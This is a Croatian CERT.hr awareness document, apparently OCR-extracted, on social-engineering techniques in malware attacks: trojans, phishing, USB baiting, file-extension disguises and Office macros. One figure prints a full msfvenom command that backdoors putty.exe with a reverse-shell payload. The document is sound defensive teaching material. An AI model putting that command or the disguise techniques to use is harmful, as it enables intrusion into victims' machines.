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1 Uvod

U izvjestaju Svjetskog gospodarskog foruma (eng. World Economic Forum) o globalnim
rizicima iz 2018. godine, o rizicima Kiberneticke sigurnosti pise sljedece:

»Rizici kiberneticke sigurnosti takoder su u porastu, kako u njihovoj rasirenosti, tako
i u njihovoj potencijalnoj Steti. Napadi na tvrtke gotovo su se udvostrucili u pet godina, dok
incidenti koji su se nekada smatrali izvanrednima sada postaju sve ucestaliji.” (1)

U tom izvjeStaju, veliki kiberneticki napadi su po riziku stavljeni su uz bok prirodnim
katastrofama, Steti od klimatskih promjena i sl. (1). Rizici su u izvjestaju prikazani i
vizualno, grafom globalnog krajolika rizika gdje vertikalna os predstavlja vjerojatnost, a
horizontalna os predstavlja ucinak rizika. Na slici 1 prikazan je taj graf te je crvenom
bojom istaknut rizik od velikih kibernetickih napada. Moguce je vidjeti kako je
procijenjeni rizik od velikih kiberneti¢kih napada u isto vrijeme medu najvjerojatnijim
rizicima te medu rizicima s najkobnijim posljedicama.
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Slika 1 - graf globalnog krajolika rizika s istaknutim rizikom od velikih kibernetickih napada (1)
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Obictno je jedan od klju¢nih dijelova kibernetickog napada zlonamjerni softver (eng.
malware). To je softver kojega je razvio napadac (ili suradnik napadaca), a svrha mu je:

e davanje napadacu kontrole nad zaraZenim racunalom,
e prikupljanje osjetljivih informacija,

¢ uniStavanje podataka

e i/ilislicno.

Postoje razne vrste zlonamjernog softvera, ovisno o tome za Sto sluZe i kako rade,
primjerice:

¢ Ransomware Sifrira datoteke na Zrtvinom racunalu i traZi otkupninu od Zrtve u
zamjenu za deSifriranje datoteka.

e Remote access trojan (RAT) omogucava prikupljanje informacija/Spijuniranje
(datoteke, pritisnute tipke, slika ekrana, mikrofon, kamera...) te daje napadacu
kontrolu nad zaraZenim uredajem.

e Point-of-sale (POS) zlonamjerni softver ugraduje se u point-of-sale uredaje,
prikuplja brojeve bankovnih kartica iz memorije uredaja te ih Salje napadacu.

No, kako napadaci ,zaraze” raCunalo zlonamjernim softverom? Na razne nacine.
Primjerice, napadaci mogu zaraziti Zrtve tako da kompromitiraju popularnu web stranicu
i iskoriStavaju javno nepoznatu ranjivost (eng. zero-day vulnerability) za napad na web
preglednik posjetitelja (2). Ili, napada¢i mogu napasti proizvodaca softvera, ugraditi
zlonamjerni kod u softver prije distribucije te tako posredno zaraziti sve korisnike tog
softvera; to je tzv. napad na opskrbni lanac (eng. supply chain attack), ilustriran na slici 2

(3)-
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Industrijski upravljacki Prodavac softvera
sustav trece strane

Trojanizirani softver

Slika 2 - dijagram napada na opskrbni lanac (eng. supply chain attack) (3)
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Ovakvi su napadi izrazito zabrinjavajuci jer se naizgled nije moguce obraniti, no oni su
relativno rijetki. U vecini slucajeva, krivac za zarazu je Krajnji korisnik - svojim
neznanjem, nemarom ili lakovjerno$¢u. Drugim rijecima, napada¢ najceS¢e obmane
korisnika (Zrtvu) da ucini nesto Sto je Stetno. To je tzv. socijalni inZenjering i najcesce je
upravo on zasluzan za uspjeSnu zarazu.

Dva primjera ovakvih napada socijalnim inZenjeringom prikazana su na slici 3 i slici 4. Na
slici 3 prikazana je phishing poruka e-poste koja je naizgled vezana za pla¢anje racuna te
dolazi s odgovarajucom Microsoft Excel tablicom u privitku. U stvarnosti, tablica iz
privitka zapravo sadrZi zlonamjerni softver Dridex koji krade korisnikove pristupne
podatke za sustave internetskog bankarstva (4).

Date: Fri Dec 5 00:31:22 2014

From:

To:

Original Sender:

Subject: Remittance Advice for 775.21 GBP

Attachments: BAC_9849530E.xIs (application/vnd.ms-excel) [0.0000 KB]
Unfiltered UTF-8 [utf-8] [T

Please find attached a remittance advice for recent BACS payment.

Any queries please contact us.

Andrea Macias

Senior Accounts Payable Specialist

K J Watking & Co

Slika 3 - phishing poruka e-poste sa zZlonamjernim softverom (u obliku Microsoft Excel datoteke) u
privitku (4)

U drugom primjeru, na slici 4 prikazana je web stranica koja naizgled sluzi za aZuriranje
programa Adobe Flash Player. Na ovakvu stranicu Zrtve mogu naic¢i preko poveznice iz
phishing poruke (5) ili posjetom kompromitirane web stranice. Kada bi Zrtva preko ove
web stranice instalirala navodno Adobe Flash Player azuriranje, zapravo bi pokrenula
ransomware Locky koji bi Sifrirao datoteke na rac¢unalu te traZio otkupninu za njihovo
desifriranje (6).
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[ Adobe - Update Adobe Fl x

& =2 C [} fleshupdate.com

Your Flash Player may be out of date

Need help?

Initializing

1 To proceed, open your download folder and locate the Adobe Flash Player Installer file, named
like "FlashPlayerexe”.

2 Double-click on the installer to complete the installation. For additional help, click here.
What's new?

Staying Secure

Ensure your Flash Player installation is secure and up to
date. simply select "Allow Adobe to install updates™
during the installation process or choose this option
anytime in the Flash Player control panel.

Slika 4 - laZna web stranica za aZuriranje programa Adobe Flash Player zapravo distribuira
zlonamjerni softver (6)

Postavlja se pitanje - zaSto ovakvi napadi uspijevaju? Tj. preciznije, kako napadaci
uspijevaju obmanuti Zrtve da preuzmu i pokrenu zlonamjerni kod? Ovaj dokument
pokuSava odgovoriti na to pitanje opisivanjem cesto koriStenih tehnika socijalnog
inZenjeringa u kontekstu napada zlonamjernim softverom.
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2 Trojanski konji

Trojanski konji su jedan od najboljih primjera spoja zlonamjernog softvera i socijalnog
inZenjeringa. Sigurnosna tvrtka Kaspersky o trojanskim konjima kaZze sljedece:

»Trojanski konj ili trojan vrsta je zlonamjernog softvera cesto zamaskirana kao
legitiman softver. [...] Korisnike se obicno prevari nekim oblikom socijalnog inZenjeringa
kako bi ucitali i izvrsili trojana na svojim sustavima.” (7)

Ovo poglavlje odgovorit ¢e na pitanja:
e Kako izgledaju trojanski konji?
¢ (Gdje je moguce naici na trojanske konje?
e Kako napadaci izraduju trojanske konje?

Kratki odgovor na pitanje , Kako izgledaju trojanski konji?“ je naZalost ,gotovo bilo kako“.
Ipak, neSto konkretnije - trojanski konji mogu biti:

e Programi za racunala, aplikacije za mobitele (datoteke s nastavcima .exe,

.apk...) koji naizgled normalno funkcioniraju, no u pozadini izvrSavaju zlonamjerni
kod.

e Dokumenti (Microsoft Office i sli¢ni) koji sadrzavaju zlonamjerni kod u raznim
oblicima (makronaredbe, DDE, OLE objekti...).

e Gotovo bilo kakva datoteka (PDF, JPEG...) posebno konstruirana tako da
iskoriStava ranjivost softvera koji ju obraduje. Primjerice, trojanski konj moZe biti
PDF datoteka posebno konstruirana tako da iskoristava ranjivost softvera Adobe
Reader (koji sluZi za prikaz PDF datoteka).

Na slici 5 prikazano je nekoliko primjera kako datoteke trojanskih konja mogu izgledati u
grafickom sucelju. Slika zapravo ne prikazuje niSta neobi¢no - prikazane su naizgled
obi¢ne datoteke s aplikacijama, dokumentima i slikama, kakve je gotovo svaki korisnik
racunala naviknut vidjeti. Drugim rijeCima, u grafickom sucelju trojanske konje ¢esto nije
lako razlikovati od legitimnih datoteka.

cost_calc.xlsx

=4 com.nianti..labs.poke
ﬁb g Aug 07

ccsetup533.exe

0ia-416136.jpg

Slika 5 - primjeri prikaza datoteka trojanskih konja u grafickom sucelju
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Na trojanske je konje moguce naici na raznim mjestima, primjerice:

1. Na nesluZbenim mjestima za preuzimanje softvera kao Sto su:

o sustavi za dijeljenje piratskog softvera,
o web stranice koje nisu od proizvodaca softvera,
o nesluzbene trgovine aplikacijama za pametne telefone.

NesluZzbena mjesta za preuzimanje softvera cesto nemaju strogih kontrola koje
bi sprjeCavale posluzivanje zlonamjernog softvera ili ¢ak namjerno ubacuju
zlonamjerni kod u legitimne programe, pa je zato najbolje izbjegavati ih koliko
god je to moguce.

Na sluzbenim mjestima za preuzimanje softvera, primjerice na trgovini Google
Play za Android (8) (9) ili na trgovini App Store za iOS (10).

Sluzbena mjesta za preuzimanje softvera obi¢no provode ozbiljne mjere kako bi
zaustavili posluzivanje zlonamjernog softvera, te je zato preuzimanje softvera s
takvih mjesta ve¢inom sigurno. No blokiranje svog zlonamjernog softvera je u
stvarnosti nemoguce, pa je zato i na sluzbenim mjestima za preuzimanje softvera
moguce naici na trojanske konje. Kao primjer, na slici 6 prikazano je nekoliko
trojanskih konja, naizgled legitimne aplikacije s Google Play trgovine koje su
zarazene mobitele prikljucivali Viking Horde botnetu (8).

Viking Jump * ok

Good, but odd root issio ‘e
Nikolay Lisin  Arcade 3004, s .'00 permissions

3 same

o reci7

Offers in-app purchases

A ths

Parrot Copter

WiFi Plus
Nikolay Lisin Arcade

Cepred#i Crenanos  Tools
g reci3 ;

g pPeci3
a Q
Memory Booster | 4 Simple 2048

" Aleksey195867 Puzzle

Nikolay Lisin Tools 8 2 2 X
g recia 8 reoia
A Youdenths (N 4 2 A

SPEEDITUP m gl 4

Slika 6 - primjer Viking Horde trojanskih konja na Google Play trgovini (8)
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3. U porukama e-poSte, na drustvenim mreZama i ostalim elektronickim

komunikacijskim medijima.

Phishing poruke e-poste jedan su od najces€ih nacina zaraze zlonamjernim
softverom. Osim e-poStom, phishing poruke s trojanskim konjima moguce je
primiti i na druStvenim mreZama, instant messaging/chat aplikacijama i drugim

elektronickim komunikacijskim medijima.

Na slici 7 prikazana je poruka koja naizgled dolazi od Dropboxa i sadrZava
poveznicu na dokument. No, to je zapravo phishing poruka koja dolazi od
nepoznatog napadaca, a poveznica vodi na trojanskog konja.

= O 2
MESSAGE

G Ignore x [7(_ [ (_‘ [ _)‘ [Fa Meeting f;. Fct::;:c:q:‘&u\... ¥V m, Zules v ‘“* Mark Unread
w 349 OneNote  ggy Categorize ~
:i. Junk~ Delete  Reply ReA;I)lfy Forward EiMore* = M?ve EPActions~ PP Fallow Up -
Delete Respond Quick Steps ] Move Tags
Tue 24/04/2018 13:19
Dan via Dropbox <dropbox@dropbox.com>

Dan shared a document " Invoices 24-04-18 " with you

To Reopents

0 If there are problems with how this message is displayed, click here to view it in a web browser.

4
%

Dan shared a document with you.

~

Thank you for choosing Dropbox!

Translate

Editing

-

¥
ps —A I
= il N I
§
&l |
h
i 4 \
Y

Your files are securely backed up and easy to share, no matter what type of files they are. \

http://www.studiomassimomarin.it/invoices 24-04-18.pdf.jar

Q &

Zoom

Zoom EZDetach ~

4

%
<

Slika 7 - primjer phishing poruke s poveznicom koja vodi na trojanskog konja (11)
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4. Na vanjskim medijima za pohranu podataka. Trojanski konj moZe do¢i i u
obliku CD-a, DVD-a, USB sticka, vanjskog tvrdog diska i sli¢no.

No kako zaraZeni DVD, USB stick ili sli¢ni medij dode do Zrtve? Dva Cesta primjera
su sljedeca:

o Napadac negdje ostavi USB stick, npr. na podu u blizini radnog mjesta Zrtve.
Zrtva ga zatim pronade i misli da je to neciji izgubljeni USB stick.
PokuSavajuci otkriti kome ga treba vratiti, ili iz znatiZelje, Zrtva prikljucuje
USB stick u svoje racunalo. Slika 8 preuzeta je iz prezentacije (12) o upravo
ovakvim napadima te prikazuje nekoliko primjera kako zaraZeni i

ostavljeni USB stickovi mogu izgledati.

o Napada¢ na konferenciji dijeli USB stickove, DVD-ove ili slicno s
konferencijskim materijalima. Zrtva, kao polaznik konferencije, prihvaca
USB stick/DVD te ga kasnije prikljucuje na racunalo (13) (14).

Slika 8 - zarazeni, ostavljeni USB stickovi (oznaceni crveno) (12)

Kako onda trojanski konj zarazi raCunalo nakon S$to korisnik prikljuci/ubaci
vanjski medij? Postoji niz tehnika pomoc¢u kojih se zlonamjerni kod automatski
pokrene, primjerice iskoriStavanje ranjivosti (eng. exploit) raznih dijelova sustava
ili laZno predstavljanje na razini protokola (npr. USB HID napad). No i u ovom
dijelu napada, moguce je obmanuti korisnika da sam pokrene trojanskog konja.

Na slici 9 prikazan je primjer jedne takve tehnike obmane - uz domisljate izmjene
teksta i ikone, oznacena opcija u prikazanom prozoru (s tekstom ,Open folder to
view files“) zapravo nece otvoriti sadrzaj USB sticka za pregledavanje, ve¢ ce
pokrenuti trojanskog konja (15).

Verzija 1.00 CERT.hr-PUBDOC-2018-11-369 stranica 10/ 42
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| .

AutoPlay h =HECIH[ X

Removable Disk (G:)

Always do this for software and games:

Install or run program

Open folder to view files

General options

Cpen folder to view files
i :L_'i Speed up my system

Set AutoPlay defaults in Control Panel

A

Slika 9 - primjer tehnike obmane kojom USB stick moZe zaraziti racunalo (15)

Konac¢no - kako napadaci izraduju trojanske konje? Ovisno o obliku trojanskog konja (npr.
je li on .exe program, Microsoft Word dokument ili JPEG slika), postupak izrade moZe
izgledati znatno drugacije. No korisno je znati da, za napadace, taj postupak moZe biti
izrazito jednostavan, Sto je vjerojatno jedan od razloga za raSirenost trojanskih konja.
Siroko su dostupni alati pomo¢u kojih je moguée prili¢no lagano ubaciti zlonamjeran kod
u datoteku legitimnog programa. Taj postupak obi¢no se naziva ,trojanizacija” (eng.
trojanizing) ili ,ugradivanje tajnih vrata” (eng. backdooring) (16). Primjeri takvih

alata su:

e Metasploit (msfvenom), prikazan na slici 10, za trojaniziranje Windows izvr$nih
datoteka (nastavak.exe).

e AndroRAT APK binder, prikazan na slici 11, za trojaniziranje Android aplikacija

(nastavak.apk).

:/tmp$ msfvenom --template putty.exe --out putty backdoored.exe
--arch x86 --platform windows --keep --payload windows/meterpreter/revers
e _tcp lhost=192.168.1.101 --format exe --encoder x86/shikata_ga nai
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga nati

x86/shikata_ga nai succeeded with size 368 (iteration=0)
x86/shikata_ga nail chosen with final size 368

Payload size: 368 bytes

Final size of exe file: 809984 bytes

Saved as: putty backdoored.exe

Slika 10 - primjer koristenja alata msfvenom (dio softverskog paketa Metasploit) za trojanizaciju

Verzija 1.00
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AndroRat Binder - [ waw.deceptiveengineering.info | — ¢

Build + Bind

IP

PORT

TARGET APK

Browse

GO

Info

BUILD + BIND: Assign your IP + Port you will be
using to connect with androrat. Select the android
app apk file you wish to bind an androrat client to.
Press 'GO' to proceed with BINDING + BUILDING
your new apk for distribution. To build Androrat ONLY,
Go to 'Build' Tab.

Slika 11 - sucelje alata AndroRat Binder za trojanizaciju Android aplikacija (.apk datoteka)

Verzija 1.00
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3 Tehnike socijalnog inZenjeringa u napadima zlonamjernog
softvera

Ovo c¢e poglavlje opisati razne tehnike koje koriste trojanski konji i ostali zlonamjerni
softver kako bi obmanuli mete i uspjesno izvrsili napad.

3.1 Prikrivanje vrste datoteke

Korisnici su danas ve¢inom svjesni da .exe datoteke mogu sadrzavati zlonamjerni softver
i biti opasne. Zato, kako bi napadaci uspjesno obmanuli metu da pokrene zlonamjernu .exe
(ili slicnu) datoteku, oni Cesto koriste razne tehnike kojima prikrivaju stvarnu vrstu
datoteke.

Za razumijevanje ovih tehnika, prvo pitanje koje treba postaviti je: ,Kako korisnici
prepoznaju koje je vrste neka datoteka?“. Primjerice, kako korisnici znaju je li neka
datoteka npr. izvrSna (.exe) datoteka, dokument ili slika? Informaciju o vrsti datoteke
korisnici primarno dobivaju iz:

e ikone datoteke
e inastavka (eng. extension) datoteke.
3.1.1 Mijenjanje ikone datoteke

[zvrSnim (.exe) datotekama i nekim drugim datotekama moguce je proizvoljno
promijeniti ikonu. Napadaci to iskoriStavaju mijenjanjem ikone zlonamjernog programa
primjerice u ikonu dokumenta ili slike kako bi korisnik pomislio da se ne radi o
potencijalno opasnoj.exe datoteci, ve¢ o ,bezopasnom” dokumentu ili slici.

Na slici 12 prikazano je kako takva promjena ikone (uz odgovaraju¢u promjenu imena
datoteke) moZe izgledati. Kao Sto je prikazano na slici, napadaci mogu izvrsnoj datoteci
promijeniti ikonu primjerice u ikonu fotografije ili dokumenta. Takvom promjenom ikone
korisnik moZe pomisliti da je zlonamjerna datoteka zapravo bezopasna fotografija ili
dokument.

—. - picture.exe
trojan.exe
. m

invoice.exe

Slika 12 - promjena ikone (i imena) izvr$ne datoteke kako bi ona izgledala kao dokument ili slika

Verzija 1.00 CERT.hr-PUBDOC-2018-11-369 stranica 13 /42
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Koliko god se ova tehnika i neke od narednih tehnika cinile trivijalnima, ne treba
zanemariti njihovu opasnost. Potrebno je uzeti u obzir kontekst napada - napad se moze
dogoditi usred napornog radnog dana u kojemu Zrtva ima puno posla, €ita i odgovara na
veliki broj poruka e-poste i slicno. Uzimajuci to u obzir, lako je shvatiti kako uz manjak
koncentracije i opreza, i ovako jednostavne tehnike mogu biti dovoljne da Zrtva ucini
greSku te pokrene zlonamjerni softver.

Vezano za ovu konkretnu tehniku mijenjanja ikona, Siroko su dostupni alati kojima je
moguce lako promijeniti ikonu bilo koje .exe datoteke. Jedan Cesto koriSteni alat je
Resource Hacker, prikazan na slici 13.

L) X - F ;
R Replace icon in - calc.exe X ‘
File Edit View Actior Icon
D @ iI[]l E E Open file with new icon... ! icon to replace:

= 2 [Dreate oy |
v - I, Icon C:\Users)\ ...\fake_icon.ico
v 1:1033
W 2:1033
¢ 3:1033
v 4:1033
Icon Group

Version Info
Manifest

Replace

Close

Slika 13 - mijenjanje ikone .exe datoteke u alatu Resource Hacker
3.1.2 Prikazivanje nastavka datoteke

Prije opisivanja raznih tehnika prikrivanja stvarnog nastavka datoteke, potrebno je
spomenuti da se nastavci datoteka ne prikazuju uvijek u korisnickom sucelju.
Konkretnije, nastavak datoteka bit ¢e prikazan ovisno o postavci operacijskog sustava -
na slici 14 prikazana je postavka o kojoj ovisi prikazivanje nastavaka te primjeri datoteka
s i bez prikazanih nastavaka.

[z sigurnosne perspektive, preporuca se da nastavci datoteka budu prikazani, upravo
kako bi korisniku bilo lakSe uociti .exe datoteku (ili drugu opasnu vrstu datoteke) koja se
»pretvara” da je neSto drugo.
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File Explorer Options X File Explorer Options X
General View  Search General View  Search
Folder views Folder views
You can apply this view (such as Details or lcons) to all You can apply this view (such as Details or lcons) to all
folders of this type. P folders of this type.
Apply to Folders Reset Folders Apply to Folders ResetFolders
Advanced settings Advanced settings

Files and Folders ~ Files and Folders ~
[[] Always show icons. never thumbnails [] Always show icons. never thumbnails
:‘ Always show menus |:| Always show menus
[~] Display file icon on thumbnails Display file icon on thumbnails
[] Display file size information in folder tips Display file size information in folder tips
j Display the full path in the tile bar [:I Display the full path in the tile bar

Hidden files and folders Hidden files and folders

O Don't show hidden files. folders, or drives O Don't show hidden files. folders, or drives

(@) Show hidden files, folders, and drives (@) Show hidden files, folders, and drives
[ Hide empty drives de emoty drive

[ : Hide extensions for known file types I ide extensions for known file types
[ Fide folder merge conmc ide folder merge conflicts
4 Hide protected operating system files (Recommended) ~ Hide protected operating system files (Recommended) ~
Restore Defaults Restore Defaults
oK Cancel Apply OK Cancel Apply
prikazivanje nastavaka ukljuceno prikazivanje nastavaka iskljuceno
— et ? . ?
& , : oy P
. P o L]
invoicefexe] picture invoice picture

Slika 14 - postavka o kojoj ovisi prikazivanje nastavaka datoteka te primjeri datoteka s i bez
prikazanih nastavaka

3.1.3 Dvostruki nastavci

Kako bi prikrili stvarni nastavak datoteke, napadaci datotekama Cesto daju dvostruke
nastavke. Primjerice, napadac ¢e promijeniti ime zlonamjerne datoteke iz ,picture.exe“ u
Jpicture.jpg.exe”.

Ova jednostavna tehnika moZe zavarati korisnike koji nisu paZzljivi, a posebno lako moze
zavarati korisnike koji nemaju ukljuenu postavku prikazivanja nastavaka. Na slici 15
prikazano je kako datoteke s dvostrukim nastavcima izgledaju u korisnickom sucelju
ovisno o tome je li prikazivanje nastavaka ukljuceno ili ne.

invoiceldoc picturd.jpg

prikazivanje nastavaka ukljuceno prikazivanje nastavaka iskljuceno

Slika 15 - prikaz datoteka s dvostrukim nastavcima ovisno o tome je li prikazivanje nastavaka
ukljuceno ili isklju¢eno

Neovisno o postavci prikazivanja nastavaka u korisnickom sucelju, operacijski sustav
uzima u obzir samo zadnji nastavak. Sto se operacijskog sustava tice, sve prije zadnje
tocke smatra se nazivom datoteke, a ne dodatnim nastavkom. Primjerice, dokle god

Verzija 1.00 CERT.hr-PUBDOC-2018-11-369 stranica 15/42



C=RT.hr

datoteka zavrsava s .exe, operacijski sustav e ju tretirati kao izvrSnu datoteku, neovisno
o tome je li se prije.exe nastavka nalazi.jpg ili bilo $to drugo. Kada korisnik dva puta klikne
na takvu datoteku, ona Ce se tretirati i izvrSiti kao program, neovisno o tome $to korisnik
trenutno vidi u grafickom sucelju.

3.1.4 Right-To-Left Override Unicode znak

Pravi nastavak datoteke moguce je prikriti i pomocu Unicode znaka Right-To-Left Override
(skraceno RLO). To je poseban kontrolni znak napravljen za jezike koji se piSu s desna na
lijevo (arapski, hebrejski...). RLO znak nije sam po sebi vidljiv, ve¢ on oznacava da, u
korisni¢ckom sucelju, tekst koji slijedi treba biti prikazan (,,napisan”) s desna na lijevo.

Primjerice, niz znakova ,abcd [RLO] efgh” (gdje [RLO] oznacava znak RLO) u korisnickom
sucelju bit ¢e prikazan kao ,abcd hgfe”. Znakovi ,efgh” bit ¢e ,naopako napisani” jer se
nalaze nakon znaka RLO. Slika 16 ilustrira ovaj primjer.

abcd irLo; efgh
|
' u sucelju
ce biti
 prikazano
 kao

|
abcd hgfe

Slika 16 - kako RLO znak mijenja prikaz niza znakova u sucelju

Napadac¢i mogu zloupotrijebiti znak RLO za prikrivanje stvarnog nastavka datoteke.
Primjerice, napadac ¢e u ime datoteke zapisati niz znakova ,dokument [RLO] cod.exe”. To
¢e u korisnickom sucelju biti prikazano kao ,dokumentexe.doc” te ¢e tako Zrtvi .exe
datoteka naizgled imati nastavak.doc. Ovaj primjer ilustriran je na slici 17.

F=———

dokument irLoi cod(.exe)

rmm==d

|
u sucelju
¢e biti
prikazano
J' kao

dokumentexe(doc|

Slika 17 - prikrivanje stvarnog nastavka datoteke pomo¢u RLO znaka
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U konacnici, koristenjem znaka RLO na ovaj nacin, Zrtva ¢e u korisnickom sucelju vidjeti
»dokumentexe.doc” te ¢e misliti da se radi o dokumentu, dok ¢e operacijski sustav gledati
binarni zapis znakova, a ne korisnicko sucelje te Ce tako vidjeti ,dokument [RLO] cod.exe”.
Zato ¢e Zrtva vidjeti dokument, koji se, kada ga Zrtva otvori, pokrece kao .exe datoteka (jer
operacijski sustav vidi .exe datoteku).

Na slici 18 prikazano je kako izgleda ovakvo koriStenje znaka RLO na operacijskom
sustavu Windows 10 (u programu Windows Explorer) te na operacijskom sustavu Ubuntu
Linux 16.04 (u programu Nautilus). Na slici su prikazane datoteke ¢iji naziv sadrzava
znakove ,picture [RLO] gpj.exe” odnosno ,invoice [RLO] cod.exe”. Zbog znaka RLO, ni u
jednom slucaju nije vidljivo da datoteke zapravo imaju stvarni nastavak .exe.

V| |1 - O X
“ Home Share e 0
¥ R
\-f?'\ | l X b J +
\ ’ hd
Pin to Quick Paste v ena New Properties Select
access [ﬂ folder > e
Chpboard Crganize New Open
- v M « poc > rtlo > 1 v/ QO | Search1 P
A
% OneDrive

= This PC
» 3D Objects

m Desktop

4 Documents

Windows 10 (Windows Explorer)

soc_eng_i_malware poc rtlo 1

@ Home

[ Desktop ‘\..v? '\4-7

[ Documents »
invoiceex-.doc pictureex

< Downloads -

dd Music

A Pictures

Ubuntu 16.04 (Nautilus)

Slika 18 - prikaz datoteka kojima je stvarni nastavak prikriven pomo¢u RLO znaka na
operacijskim sustavima Windows 10 i Ubuntu Linux 16.04

Kao Sto slika prikazuje, ovaj problem nije prisutan samo na operacijskom sustavu
Windows, vec i Sire - u ovom slucaju napadaci ne iskoriStavaju neku ranjivosti koja je
rezultat greSke u softveru, ve¢ jednostavno zlouporabe legitimnu funkcionalnost. Upitno
je moze li se ovaj problem zadovoljavajuce rijeSiti bez da se narusi funkcionalnost koja je
zaista potrebna kod jezika koji se piSu s desna na lijevo.
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3.1.5 Gomila razmaka prije nastavka

Jedna jednostavna, ali ucinkovita tehnika prikrivanja nastavka je dodavanje gomile
razmaka u naziv datoteke prije nastavka. Primjerice, napadac ¢e preimenovati datoteku
Linvoice.doc.exe” u ,invoice.doc .exe”
(naziv je u ovom slucaju podcrtan kako bi razmaci bili lakse vidljivi).

Tako ¢e, zbog duzine imena, pravi nastavak u grafickom sucelju ¢esto biti prikriven.
Primjer kako ova tehnika izgleda u grafickom sucelju prikazan je na slici 19. Prikazana je
upravo datoteka s nazivom ,invoice.doc .exe”, no zbog duljine je naziv
skracen u sucelju, zbog Cega se ¢ini da ova izvrs$na (.exe) datoteka ima naziv ,invoice.doc".

‘ / s | razmaci - O X

“ Home Share View o
‘ I : = % \/

Pin to Quick Paste . New Properties Select

access I-'-'J folder = L 4 -
— v T « SOC_eng_.. > razmaci v O zZn P

»# Quick access

m Desktop
invoice.doc

& Downloads
2| Documents G
« Pictures

Slika 19 - stvarni nastavak datoteke (.exe) je prikriven zbog gomile razmaka u nazivu

Na slici 20 prikazan je sadrzaj istog direktorija, no ovaj puta u sucelju naredbene linije. U
ovom je slu¢aju moguce vidjeti cijeli naziv datoteke, ukljucujuci nastavak.

B Select C:\Windows\System32\cmd.exe - O X

8 Microsoft Corporation. All rights reserved.

~azmaci>dir

\razmaci>

Slika 20 - za razliku od grafickog sucelja, u sucelju naredbene linije prikazan je cijeli naziv (i
stvarni nastavak) datoteke
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3.2 Zlonamjerni kod u naizgled bezopasnim vrstama datoteka

Kao Sto je prethodno receno, korisnici su ¢esto svjesni da .exe datoteke mogu biti opasne.
No postojiiniz drugih vrsta datoteka koje mogu sadrzavati zlonamjerni kod koji se (vise
ili manje) automatski pokrece prilikom otvaranja datoteke. Te druge vrste datoteka ¢esto
su jednako opasne kao i .exe datoteke. Zato, kao alternativu (ili dodatak) tehnikama
prikrivanja nastavka datoteke, napadaci cesto koriste upravo takve vrste datoteka za koje
je tek manji broj korisnika svjestan da su opasne. Na slici 21 prikazane su neke od tih vrsta
datoteka Cije opasnosti korisnici Cesto nisu svjesni.

T o : [ POF | :
batch_scrip document. document. document.r
t.bat docx pdf tf
) r,h %
L —F
(= =
html_app.ht java_archiv jscriptjs powershell_
a eJjar script.ps’
M c D
screensaver shortcut tablexlsx vbscriptvbs

SCT

Slika 21 - neke vrste datoteka cije opasnosti korisnici ¢esto nisu svjesni

U kontekstu opasnih vrsta datoteka, klju¢no je spomenuti da iskoristavanje ranjivosti
softvera moZe napadaCu omoguditi da se otvaranjem gotovo bilo kakve, naizgled
bezopasne datoteke automatski izvrsi njegov zlonamjerni kod.

No bitno je razumjeti i da iskoriStavanje ranjivosti funkcionira samo na nezakrpanim,
obi¢no starijim ina¢icama softvera. Zato, takve tehnike imaju ,rok trajanja” dok korisnici
ne azuriraju softver i primijene sigurnosne zakrpe. Kada starije ranjivosti nisu dovoljne,
otkrivanje novih ranjivosti i razvoj exploita za njihovo iskoristavanje napadacima cesto
nije opcija, jer je to prili¢no skup i zahtjevan proces. Iz tih razloga, umjesto iskoriStavanja
uobicajenih ranjivosti, napadaima je obi¢no prakti¢nije koristiti legitimne
funkcionalnosti raznih vrsta datoteka koje se mogu i zloupotrijebiti za izvrSavanje
zlonamjernog koda.

Verzija 1.00 CERT.hr-PUBDOC-2018-11-369 stranica 19/42



C=RT.hr

3.2.1 Zlonamjerni kod u Microsoft Office dokumentima

Microsoft Office dokumenti su sveprisutni kod koriStenja rac¢unala, i u privatnim i u
poslovnim okruzenjima. No ono Sto mnogi ne znaju je da takvi dokumenti mogu
sadrzavati zlonamjeran kod. Upravo su zbog te kombinacije Microsoft Office dokumenti
kao nosioci zlonamjernog koda izrazito primamljivi napadacima.

Zlonamjerni kod moZe u Microsoft Office dokumente biti ugraden na razne nacine (17).
Cesto se koriste sljede¢i mehanizmi:

e Makronaredbe (eng. macros)
e Dynamic Data Exchange protokol
e ugradeni OLE objekti

3.2.1.1 Makronaredbe (eng. macros)

Microsoft Office dokumenti mogu sadrzavati tzv. makronaredbe (eng. macros).
Makronaredba (eng. macro) je zapravo program unutar Office dokumenta koji omogucéava
automatiziranje niza naredbi. Primjerice, makronaredba moZe automatski ubaciti tablicu
u dokument te ju formatirati na odredeni nacin. Na slici 22 prikazano je sucelje unutar
Microsoft Worda za pisanje makronaredbi. Sucelje je zapravo slicno okruZenju za
programiranje jer u sustini, makronaredbe su programi sadrZani unutar Microsoft Office
dokumenata napisani u programskom jeziku Visual Basic for Applications (VBA).

H = le Too

File  Home Inset Design Layout References Mailings Review

al E | Outline ] Ruler One Page | [
= =) | o Jr == Q x - = [
Read | Prin| # Microsoft Visual Basic for Applicatians - Macro_recorded
Mode Layol.
File Edit View Iwsert Format Debug Run Iools Add-Ins Window Help
CRERa] # ronoa Y @ |Ln2.colt 5
Project - Project E
LEIER < | | ¥ Macrorecorded - NewMacros (Code) = =
&4 mormal [(General) -] [macrot .
& project (Macro_recorded) Sub Macrol () =
- (7] Micrasoft word Objects I
=55 Madules acrol Macro
!ﬁ{ NewiMacros I

#- [ References

ActiveDocument.Tables.Add Range:=Selection.Range, Nw
6, DefaultTableBehavior:=wdWord9TableBehavior, A

d
bles (1)
"Table Grid" Then
"Table Grid"

Properties - Newhacros X
NewMacros Module
Alphabetic Categorized

[(ame) HewMacros

Slika 22 - sucelje unutar Microsoft Worda za pisanje makronaredbi

Makronaredbe mogu i pozivati proizvoljne naredbe operacijskog sustava - primjerice,
one mogu stvarati, Citati i brisati datoteke, pokretati programe i slicno. Upravo to je ono
$to makronaredbe ¢ini potencijalno opasnima. Cesti su napadi u kojima napada¢ sastavi
dokument tako da se prilikom njegovog otvaranja pokrene makronaredba sa
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zlonamjernim kodom. Na slici 23 prikazan je primjer kako ovaj napad moZze izgledati -
prikazan je dokument (,report.doc”) koji je prilikom svojeg otvaranja pokrenuo
naredbenu ljusku operacijskog sustava i izvrSio naredbu. U ovom slucaju to je bila
bezopasna naredba ,echo test” (koja samo ispisuje rijeC ,test“), no umjesto nje je mogla
biti pokrenuta bilo koja druga naredba.

] s report.doc - Compatibility Mode - Saved to E: Drive

Insert  Design  Layout References  Mailings Review View Help 2 Tell me what you want to do |& Share (o]
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0 9 == e [£E2E (7 AaBbCcDd AaBbCcDd AaBbC #_Replace
